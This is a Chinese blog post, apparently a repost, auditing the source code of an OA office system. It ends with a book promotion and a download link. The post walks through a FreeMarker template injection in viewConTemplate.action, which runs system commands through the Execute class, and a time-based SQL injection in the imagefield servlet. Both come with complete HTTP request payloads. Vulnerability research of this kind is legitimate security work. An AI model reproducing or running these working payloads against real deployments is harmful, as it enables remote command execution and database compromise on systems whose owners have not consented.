某OA代码审计过程

职场   2024-11-19 00:02   河南  

此OA听过,但从来没有去研究过,所以简单分析研究一下,发现此OA并不复杂且因为闭源的原因所以分析起来比较轻松。

模板注入

查看JSP文件通过Template名字或者一些代码信息能够发现是以模板的形式进行参数传递,并且对路径需要的传参也给出来了,分别为moduId,code,uuid


通过搜索viewConTemplate定位后端处理该消息的代码


通过上图所示可以发现viewConTemplate函数对该请求进行处理,首先通过if条件语句判断临时模板目录是否存在,如果不存在则新建目录以uuid命名以ftl后缀为文件

try {
String sameName = this.uuid + ".ftl";
File file = new File(PortalTemplateUtil.TEMPLATE_TEMP_DIR);
if (!file.exists()) {file.mkdirs();}

out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);

然后通过get请求传入code参数并对code参数中传入的敏感字符进行编码替换

out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);
String code = this.request.getParameter("code");
code = URLDecoder.decode(code, "UTF-8");
code = code.replaceAll("&lt;", "<").replaceAll("&quot;", "\"").replaceAll("&#39;", "'").replaceAll("&gt;", ">").replaceAll("&nbsp;", " ").replaceAll("<br />", "").replaceAll("<p>", "").replaceAll("</p>", "").replaceAll("&amp;", "&");

最后通过字节流的形式写入为临时文件中

byte[] b = code.getBytes();
out.write(b);
out.flush();

然后通过模板渲染功能调用刚刚写入临时文件中的数据


通过调用FreemarkerConfiguration类中的getTemplateTemp()静态方法取出临时文件数据


读取临时文件内容并渲染成frremaker模板,因为我们的code参数可控从而造成模板注入漏洞,我们可以构造如下payload

code=${"freemarker.template.utility.Execute"?new()("chdir")}

上述payload我们使用的freemaker自带的Execute类中自带的命令执行函数,如下图所示,具体可以参考github


根据前端页面接收的所有参数把uuid,moduId传参进行请求,参数任意即可


数据包如下:

POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

moduId=1&code=${"freemarker.template.utility.Execute"?new()("whoami")}&uuid=1

SQL注入

这个漏洞好像是一个通用组件漏洞,用友时空也存在该漏洞

通过请求接口名去搜索后端处理处理的代码


如上如可发现接收参数很多,且我们通过分析发现readimage函数存在SQL执行语句看样子没有然和过滤限制等问题


我们再回头来看imagefield文件发现如果要进入readimage逻辑进行处理需要strKey等于readimage,那么我们可以发现strKey为key字段且通过GET请求进行传参处理


且通过上述分析readimage函数中的SQL语句可以知道需要四个参数,并且该四个参数都可以通过GET请求传参,但是其中有一个问题就是sTablename需要指定表名,不过一般数据库都有自带的表名和数据库名因此也不算啥大问题


最终payload如下:

POST /jc6/servlet/imagefield HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Length: 158
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
SL-CE-SUID: 77
key=readimage&sImgname=1&sTablename=FC_ATTACH&sKeyname=1&sKeyvalue=1';WAITFOR
DELAY '0:0:3'--

点击收藏 1关注 | 2打赏


该内容转载自网络,仅供学习交流,勿作他用,如有侵权请联系删除。

今日推荐书籍







《Java网络爬虫精解与实践》共分为 8 章。第 1 章以自动化框架为基础,介绍网络爬虫程序的入门开发实践。第 2 章深入讲解网页内容的处理、解析技术和数据提取方法。第 3 章讨论验证码识别技术以及如何有效绕过验证码的策略。第 4 章涉及网络抓包技术及其对抗策略。第 5 章深入探讨 JavaScript 代码的混淆技术与逆向分析方法。第 6 章专注于移动端应用程序的数据爬取技术及相关逆向分析技术。第 7 章介绍构建分布式网络爬虫系统所需的关键技术。第 8 章通过实战案例,展示分布式网络爬虫系统设计与实现的思路。





各 类 学 习 教 程 下 载 合 集







https://pan.quark.cn/s/8c91ccb5a474




Web安全工具库
将一些好用的红队工具、蓝队工具及自己的学习笔记分享给大家。。。
 最新文章